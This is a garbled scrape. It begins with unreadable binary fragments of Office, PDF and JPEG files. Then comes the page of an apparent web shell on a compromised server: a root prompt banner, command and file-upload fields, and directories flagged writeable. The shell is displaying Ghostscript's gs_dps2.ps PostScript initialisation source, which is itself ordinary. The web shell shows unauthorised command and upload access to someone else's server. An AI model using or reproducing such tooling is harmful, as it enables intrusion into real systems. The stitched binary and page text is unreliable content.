œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /usr/share/ghostscript/Resource/Init/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/ghostscript/Resource/Init/gs_dps2.ps
% Copyright (C) 2001-2019 Artifex Software, Inc.
% All Rights Reserved.
%
% This software is provided AS-IS with no warranty, either express or
% implied.
%
% This software is distributed under license and may not be copied,
% modified or distributed except as expressly authorized under the terms
% of the license contained in the file LICENSE in this distribution.
%
% Refer to licensing information at http://www.artifex.com or contact
% Artifex Software, Inc.,  1305 Grant Avenue - Suite 200, Novato,
% CA 94945, U.S.A., +1(415)492-9861, for further information.
%

% Initialization file for basic Display PostScript functions
% that are also included in Level 2.

level2dict begin

% ------ Errors ------ %

% These errors are only defined in Level 2 and DPS.
{ /configurationerror /undefinedresource /unregistered }
{ .registererror } forall

% ------ Halftones ------ %

/.makestackdict
        { { counttomark -1 roll } forall .dicttomark
        } bind def
/currenthalftone		% - currenthalftone <dict>
        { mark .currenthalftone
           { { exch pop }		% halftone
             { /HalftoneType 1		% screen
                { /Frequency /Angle /SpotFunction }
               //.makestackdict exec readonly
             }
             { /HalftoneType 2		% colorscreen
                { /RedFrequency /RedAngle /RedSpotFunction
                  /GreenFrequency /GreenAngle /GreenSpotFunction
                  /BlueFrequency /BlueAngle /BlueSpotFunction
                  /GrayFrequency /GrayAngle /GraySpotFunction
                }
               //.makestackdict exec readonly
             }
           }
          exch get exec
        } odef
currentdict /.makestackdict undef

% Define sethalftone so it converts types 1-4 to type 5.
/.makehalftoneRGBV {	% <dict> <type> <keys> <keysRGBV>
  4 -1 roll exch { 1 index exch get exch } forall 15 1 roll
  14 -2 roll mark 15 1 roll { /Gray /Blue /Green /Red } {
                % stack: v0 v1 v2 type keys comp
    mark
    2 index 0 get 8 -1 roll
    4 index 1 get 9 -1 roll
    6 index 2 get 10 -1 roll
                % stack: type keys comp mark k0 v0 k1 v1 k2 v2
    /HalftoneType 10 index .dicttomark
    counttomark 2 roll
  } forall pop pop
  /Default 1 index .dicttomark exch pop { .sethalftone5 }
} bind def

% The value of each entry in .halftonetypes is a procedure:
%	<setdict> <htdict> <<proc>> <setdict'> <htdict'> <sethalftoneproc>
% This allows us to use these procedures both for actually implementing
% sethalftone and for converting subsidiary dictionaries of HalftoneType 5
% halftones.
systemdict begin
15 dict /.halftonetypes 1 index def begin
  1 {
    mark exch /Default exch .dicttomark { .sethalftone5 }
  } bind def
  2 {
    1 { /Frequency /Angle /SpotFunction } {
      /RedFrequency /RedAngle /RedSpotFunction
      /GreenFrequency /GreenAngle /GreenSpotFunction
      /BlueFrequency /BlueAngle /BlueSpotFunction
      /GrayFrequency /GrayAngle /GraySpotFunction
    } //.makehalftoneRGBV exec
  } bind def
  3 {
    mark exch /Default exch .dicttomark { .sethalftone5 }
  } bind def
  4 {
    3 { /Width /Height /Thresholds } {
      /RedWidth /RedHeight /RedThresholds
      /GreenWidth /GreenHeight /GreenThresholds
      /BlueWidth /BlueHeight /BlueThresholds
      /GrayWidth /GrayHeight /GrayThresholds
    } //.makehalftoneRGBV exec
  } bind def
  5 {
    pop dup length dict copy
    mark 1 index {
                % Even HalftoneType 5 dictionaries have entries other than
                % subsidiary halftone dictionaries.
      dup type /dicttype ne {
        0
      } {
        dup /HalftoneType .knownget not { 0 } if
      } ifelse dup 5 gt {
                % Stack: dict mark ... keyN dictN httypeN
                % Assume that all HalftoneTypes > 5 convert to 5.
        1 index 3 1 roll
        //.halftonetypes exch get exec pop /Default get
                % Stack: dict mark ... keyN setdict'N htdict'N
        counttomark 1 add index 3 index 4 -1 roll put
      } {
        pop
      } ifelse
    } forall .dicttomark { .sethalftone5 }
  } bind def
end
end
currentdict /.makehalftoneRGBV undef

/sethalftone {		% <dict> sethalftone -
        % We must create the new dictionary in the same VM as the
        % operand; otherwise, invalidaccess errors may occur.
  .currentglobal 1 .argindex dup gcheck .setglobal
  dup //.halftonetypes 1 index /HalftoneType get
  dup type /integertype ne {
    /sethalftone .systemvar /typecheck signalerror
  } if
  .knownget not {
    /sethalftone .systemvar /rangecheck signalerror
  } if
  exec exec
  .setglobal pop
} .bind odef
% Redefine setscreen and setcolorscreen to recognize halftone dictionaries,
% and to insert the Frequency and Angle into Type 1 halftones, per
% Adobe TN 5085.
/.fixsethalftonescreen		% <freq> <angle> <dict> .fix...screen
                                %   <freq> <angle> <dict> <dict'>
 { dup dup /HalftoneType get 1 eq
    { dup wcheck not { dup length dict .copydict } if
      dup /Frequency 5 index put
      dup /Angle 4 index put
      languagelevel 3 ge { dup /AccurateScreens dup getuserparam put } if
    }
   if
 } bind def
/setscreen		% <ignore*2> <dict> setscreen -
        { dup type /dicttype eq
           { //.fixsethalftonescreen exec sethalftone pop pop pop }
           { //setscreen }
          ifelse
        } .bind odef
/setcolorscreen		% <ignore*11> <dict> setcolorscreen -
        { dup type /dicttype eq
           { //.fixsethalftonescreen exec sethalftone 12 { pop } repeat }
           { //setcolorscreen }
          ifelse
        } .bind odef
currentdict /.fixsethalftonescreen undef

% Redefine currentscreen and currentcolorscreen to extract the Frequency
% and Angle from Type 1 halftones, per Adobe TN 5085.
/.fixcurrenthalftonescreen	% <dict> .fix... <freq> <angle> <proc>
 { dup /HalftoneType get 1 eq
    { dup /Frequency get 1 index /Angle get }
    { 60.0 0.0 }	% Adobe returns these as reals
   ifelse 3 2 roll
 } bind def
/currentscreen		% - currentscreen 60 0 <dict>
        { .currenthalftone
           { { //.fixcurrenthalftonescreen exec }% halftone
             { }				% screen
             { 12 3 roll 9 { pop } repeat	% colorscreen
               dup type /dicttype eq { //.fixcurrenthalftonescreen exec } if
             }
           }
          exch get exec
        } odef
/currentcolorscreen	% - currentcolorscreen (60 0 <dict>)*4
{ .currenthalftone
   { { //.fixcurrenthalftonescreen exec 3 copy 6 copy }	% halftone
     {					% screen
         % The procedure might not be readable....
         dup rcheck { dup length array copy cvx } if
         3 copy 6 copy
     }
     { }				% colorscreen
   }
  exch get exec
} odef
currentdict /.fixcurrenthalftonescreen undef

% ------ User objects ------ %

/.UserObjects {
  .userdict /UserObjects
} bind executeonly odef
% In order to get proper error recovery behavior, we need to be careful
% not to pop any operands from the stack until we're done.
% The code below faithfully duplicates the apparent array-growing
% behavior of Adobe interpreters.
/defineuserobject {		% <index> <value> defineuserobject -
  1 index 65535 gt {
    % .localvmarray throws limitcheck but CET 31-02 wants rangecheck
    /defineuserobject .systemvar /rangecheck signalerror
  } if
  .UserObjects .knownget {
    length dup 3 .argindex le {
                % Stack: index value len
      2 index eq { 1 index 2 mul } { 1 index 1 add } ifelse
      .localvmarray .UserObjects get
      1 index copy pop
      .UserObjects 3 -1 roll put
    } {
      pop
    } ifelse
  } {
    .UserObjects 3 .argindex 1 add 10 .max .localvmarray put
  } ifelse
  .UserObjects get 2 .argindex 2 index put pop pop
} bind odef
/execuserobject {		% <index> execuserobject -
  dup type /integertype ne {
    % Adobe validates the argument before accessing UserObjects - CET 31-03
    /execuserobject .systemvar /typecheck signalerror
  } if
  .UserObjects get 1 .argindex get exch pop exec
} bind odef
/undefineuserobject {		% <index> undefineuserobject -
  dup type /integertype ne {
    % Adobe validates the argument before accessing UserObjects - CET 31-11
    /undefineuserobject .systemvar /typecheck signalerror
  } if
  .UserObjects get 1 .argindex //null put pop
} bind odef
currentdict /.UserObjects undef

% ------ Cache control ------ %

% Dummy definitions for cache control operators

/ucachestatus {			% - ucachestatus -mark- ? ? ? ? <size>
        mark 0 0 0 0 /MaxUPathItem getuserparam
} odef
/setucacheparams {		% -mark- ... <size> setucacheparams -
                % Provoke an appropriate error if needed.
        counttomark 1 lt { () 0 get } if
        dup 0 or /MaxUPathItem getuserparam .max
        1 dict dup /MaxUPathItem 4 -1 roll put setuserparams cleartomark
} odef

end				% level2dict

........